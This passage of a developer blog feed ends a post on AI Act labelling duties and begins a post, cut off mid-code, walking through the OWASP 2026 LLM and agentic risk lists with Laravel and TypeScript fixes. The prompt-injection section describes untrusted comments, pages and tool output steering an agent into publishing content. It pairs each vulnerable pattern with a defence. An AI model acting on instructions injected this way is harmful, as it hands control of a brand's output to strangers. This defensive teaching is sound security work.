&lt;li&gt;&lt;strong&gt;TikTok Content Posting API:&lt;/strong&gt; &lt;code&gt;post_info.is_aigc&lt;/code&gt; (boolean) on &lt;a href=&quot;https://developers.tiktok.com/doc/content-posting-api-reference-direct-post&quot;&gt;direct posts&lt;/a&gt;, which labels the video as AI-generated content.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I found no documented parameter in the Instagram and Facebook Graph API: Meta infers the label from the file’s metadata.&lt;/p&gt;
&lt;h2 id=&quot;and-the-chatbot&quot;&gt;And the chatbot&lt;/h2&gt;
&lt;p&gt;50(1) is the easiest to breach by accident. My support agent’s prompt said “you talk like a real person on the team”, going for a warm tone. The widget did say it was an AI assistant, but if someone asked “are you a person?”, nothing in the prompt stopped it from saying yes. The fix was replacing that line with the tone of someone on the team and adding a non-negotiable rule: &lt;em&gt;“You are an artificial intelligence. If someone asks whether they’re talking to a person or a bot, say so clearly and offer to hand over to a person on the team.”&lt;/em&gt; Plus a test that fails if that rule ever leaves the prompt.&lt;/p&gt;
&lt;h2 id=&quot;and-in-mexico&quot;&gt;And in Mexico?&lt;/h2&gt;
&lt;p&gt;There’s no labelling obligation. The reform published in the &lt;a href=&quot;https://dof.gob.mx/nota_detalle.php?codigo=5787418&amp;amp;fecha=14%2F05%2F2026&quot;&gt;DOF on May 14, 2026&lt;/a&gt; to the Federal Labour Law and the Federal Copyright Law covers something else: consent and payment for using performers’ image or voice with AI (Art. 305 Bis of the LFT, and Arts. 87, 118 and 121 of the LFDA). There’s no general AI law, and the labelling bill in the Senate hasn’t been voted on. If you use a cloned voice in Mexico, what applies to you is &lt;strong&gt;consent&lt;/strong&gt; from the person who owns the voice, not a label.&lt;/p&gt;
&lt;h2 id=&quot;checklist&quot;&gt;Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Work out whether you’re the provider or the deployer of each system. You’re almost always the latter.&lt;/li&gt;
&lt;li&gt;If you offer a chatbot, make it say it’s an AI and never deny it.&lt;/li&gt;
&lt;li&gt;Visible labels only on deepfakes and on informational text without human review, with the EU icons.&lt;/li&gt;
&lt;li&gt;Write IPTC &lt;strong&gt;and&lt;/strong&gt; C2PA, because each platform reads one.&lt;/li&gt;
&lt;li&gt;Sign last, on the file you publish, and check what each step of your pipeline strips.&lt;/li&gt;
&lt;li&gt;On YouTube and TikTok, send the flag when the content is realistic.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Since when is labelling AI-generated content mandatory in the EU? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Article 50 of the AI Act has applied since August 2, 2026. Regulation 2026/1744 (the Omnibus) granted a grace period until December 2, 2026 only for the technical marking in 50(2), and only for systems already on the market before August 2. Content generated before August 2 does not need to be labelled retroactively. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Do I have to put an &amp;quot;AI-generated&amp;quot; label on every image I generate? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. The visible label is the deployer&amp;#39;s duty only for deepfakes (content that falsely appears real) and for text published to inform the public on matters of public interest that has not gone through human review. Machine-readable technical marking is the duty of the generative system&amp;#39;s provider, such as OpenAI or Google. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is the fine for breaching Article 50 of the AI Act? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Up to €15 million or 3% of total worldwide annual turnover, whichever is higher, under Article 99(4)(g). For SMEs, whichever is lower applies. The €7.5 million or 1% figure that circulates is the fine for supplying incorrect information to authorities. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does the AI Act apply to a company outside the EU? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Yes, if the output of its AI system is used in the European Union (Article 2(1)(c)). For example, a chatbot serving users in Spain, or generated content published for a European audience. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why does C2PA disappear from my images? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because almost any re-encode removes it: sharp by default, sharp with withMetadata, PHP GD, ffmpeg remuxing an MP4 and the browser canvas. ImageMagick keeps it but invalidated. The fix is signing C2PA as the last step, on the exact file you publish. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>AI</category><category>AI Act</category><category>C2PA</category><category>Legal</category><category>Images</category><author>Marco Orta</author></item><item><title>OWASP Top 10 for LLMs 2026 and the Agentic Top 10, with Code (and What I Actually Run in Production)</title><link>https://ortamarco.me/en/blog/owasp-top-10-llm-2026-agentic-applications/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/owasp-top-10-llm-2026-agentic-applications/</guid><description>What changed in the OWASP Top 10 for LLMs 2026, what the agentic list (ASI01-ASI10) covers, and a failure plus its fix for every risk, in Laravel and TypeScript.</description><pubDate>Thu, 24 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;OWASP now has two lists for AI, and they don’t compete. The &lt;a href=&quot;https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/&quot;&gt;Top 10 for LLM Applications 2026&lt;/a&gt; covers the model when it is a component of your app. The &lt;a href=&quot;https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/&quot;&gt;Top 10 for Agentic Applications&lt;/a&gt; (ASI01-ASI10) covers the moment the model starts acting on its own. The 2026 edition of the first list adds no categories: it reorders the same ten, and the change that matters is Excessive Agency climbing from 6th to 3rd. Below, every risk comes with a realistic failure and its fix in Laravel or TypeScript, and at the end, what I actually run in a system with agents in production.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The sentence that sums up both lists is in the project leads’ letter: &lt;em&gt;“Stop trying to build a model that cannot be fooled. Build the system around it, so that when the model is fooled, and it will be, nothing important breaks.”&lt;/em&gt; Everything that follows is a concrete way of doing that.&lt;/p&gt;
&lt;h2 id=&quot;two-lists-one-boundary&quot;&gt;Two lists, one boundary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OWASP Top 10 for LLM Applications 2026.&lt;/strong&gt; OWASP’s site dates it August 3, 2026, and the official announcement came on September 1. It runs 122 pages under CC BY-SA 4.0, and for the first time the ranking isn’t expert votes alone: votes weigh 75% and a corpus of 6,639 classified real-world incidents weighs 25%.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OWASP Top 10 for Agentic Applications for 2026.&lt;/strong&gt; Published December 9, 2025 with the “2026” label, and not revised since. It introduces the principle of &lt;strong&gt;least agency&lt;/strong&gt;: don’t grant autonomy where it isn’t needed, because it widens the attack surface without adding value.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;OWASP draws the line like this: &lt;em&gt;“This list owns the risk when the model is a component inside your application. The moment that model becomes an actor […] the risk moves to the OWASP Agentic Top 10.”&lt;/em&gt; A chatbot answering from your knowledge base lives in the first list. An agent that reads email, decides and calls tools lives in both.&lt;/p&gt;
&lt;h2 id=&quot;what-changed-from-2025-to-2026&quot;&gt;What changed from 2025 to 2026&lt;/h2&gt;




























































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;2026 rank&lt;/th&gt;&lt;th&gt;Risk&lt;/th&gt;&lt;th&gt;In 2025&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;LLM01&lt;/td&gt;&lt;td&gt;Prompt Injection&lt;/td&gt;&lt;td&gt;1st (=)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM02&lt;/td&gt;&lt;td&gt;Sensitive Information Disclosure&lt;/td&gt;&lt;td&gt;2nd (=)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM03&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Excessive Agency&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;6th (up 3)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM04&lt;/td&gt;&lt;td&gt;Supply Chain&lt;/td&gt;&lt;td&gt;3rd&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM05&lt;/td&gt;&lt;td&gt;Data and Model Poisoning&lt;/td&gt;&lt;td&gt;4th&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM06&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Unbounded Consumption&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;10th (up 4)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM07&lt;/td&gt;&lt;td&gt;Misinformation&lt;/td&gt;&lt;td&gt;9th (up 2)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM08&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Hidden Context Exposure&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;7th as “System Prompt Leakage” (renamed and broadened)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM09&lt;/td&gt;&lt;td&gt;Vector and Embedding Weaknesses&lt;/td&gt;&lt;td&gt;8th&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM10&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Improper Output Handling&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;5th (down 5, the biggest drop)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;A word of caution when searching: several pages titled “OWASP LLM 2026” still list the 2025 order, with System Prompt Leakage at 7 and Unbounded Consumption at 10. The table above comes from the official PDF.&lt;/p&gt;
&lt;p&gt;Two points from the letter change how to read the ranking. &lt;strong&gt;Prompt injection is still No. 1 by vote, but ranked by recorded incidents alone it drops out of the top 10 entirely&lt;/strong&gt;: OWASP puts that down to it being so heavily defended that few clean exploits reach public databases. &lt;strong&gt;Misinformation is the opposite case&lt;/strong&gt;: voters put it low and incidents put it high, the biggest gap “in the direction that actually hurts”.&lt;/p&gt;
&lt;h2 id=&quot;the-ten-in-the-llm-top-10-2026-with-code&quot;&gt;The ten in the LLM Top 10 2026, with code&lt;/h2&gt;
&lt;p&gt;The examples are short on purpose. Functions with made-up names (&lt;code&gt;fetchAsMarkdown&lt;/code&gt;, &lt;code&gt;llm.summarize&lt;/code&gt;) are your app’s helpers; the Laravel, &lt;code&gt;laravel/ai&lt;/code&gt; SDK and Node APIs are the real ones.&lt;/p&gt;
&lt;h3 id=&quot;llm012026-prompt-injection&quot;&gt;LLM01:2026 Prompt Injection&lt;/h3&gt;
&lt;p&gt;Any input that changes the model’s behaviour in a way you didn’t intend: the user’s, but also a page the model reads, a tool’s output, an image or audio. The underlying problem, in OWASP’s words: LLMs &lt;em&gt;“make no architectural distinction between “instructions” and “data&amp;quot;&amp;quot;&lt;/em&gt;. There is no equivalent of a parameterised query, so the defence isn’t a better prompt. It’s &lt;strong&gt;letting code decide what goes out&lt;/strong&gt;.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ A stranger&amp;#39;s comment decides what the brand publishes&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$agent&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string double-quoted-string&quot;&gt;&amp;quot;Reply to this comment: &lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$comment&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$network&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;reply&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$comment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;reply&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ The model classifies and drafts; code decides whether it ships&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$safe&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;in_array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;category&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;gratitude&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;praise&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;greeting&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;auto_send&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token constant boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token constant boolean&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;~https?://|www\.|@\w~i&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;reply&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// no links, no mentions&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mb_strlen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;reply&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;280&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$comment&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isDirectMessage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token variable&quot;&gt;$safe&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$network&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;reply&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$comment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;reply&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$comment&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;suggested_reply&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;reply&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// everything else goes to a person&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm022026-sensitive-information-disclosure&quot;&gt;LLM02:2026 Sensitive Information Disclosure&lt;/h3&gt;
&lt;p&gt;Confidential data leaving through a channel it shouldn’t. The 2026 edition stresses that the channel &lt;em&gt;“is not only the final answer”&lt;/em&gt;: tool-call arguments, reasoning traces, logs and embeddings count too. The cheapest defence is not putting into the context what the task doesn’t need.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ The whole customer record goes into the context (and the provider&amp;#39;s logs)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; llm&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;summarize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;customer&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ Minimisation: only the fields the task needs&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; plan&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; lastTicketSubject &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; customer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; llm&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;summarize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; plan&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; lastTicketSubject &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm032026-excessive-agency&quot;&gt;LLM03:2026 Excessive Agency&lt;/h3&gt;
&lt;p&gt;The biggest climber. It’s giving the model more functionality, permissions or autonomy than the task requires, so that an unexpected or manipulated output turns into a harmful action, &lt;em&gt;“regardless of what is causing the LLM to malfunction”&lt;/em&gt;. Whether the model hallucinated or was tricked doesn’t matter: the permission is what does the damage.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ A &amp;quot;RunSql&amp;quot; tool that accepts arbitrary SQL&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ A narrow tool, bound to the authenticated user, plus a step cap&lt;/span&gt;
&lt;span class=&quot;token attribute&quot;&gt;&lt;span class=&quot;token delimiter punctuation&quot;&gt;#[&lt;/span&gt;&lt;span class=&quot;token attribute-content&quot;&gt;&lt;span class=&quot;token attribute-class-name class-name&quot;&gt;MaxSteps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token delimiter punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name-definition class-name&quot;&gt;SupportAgent&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Agent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; HasTools
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;tools&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword return-type&quot;&gt;iterable&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;OrderStatus&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name-definition class-name&quot;&gt;OrderStatus&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tool&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
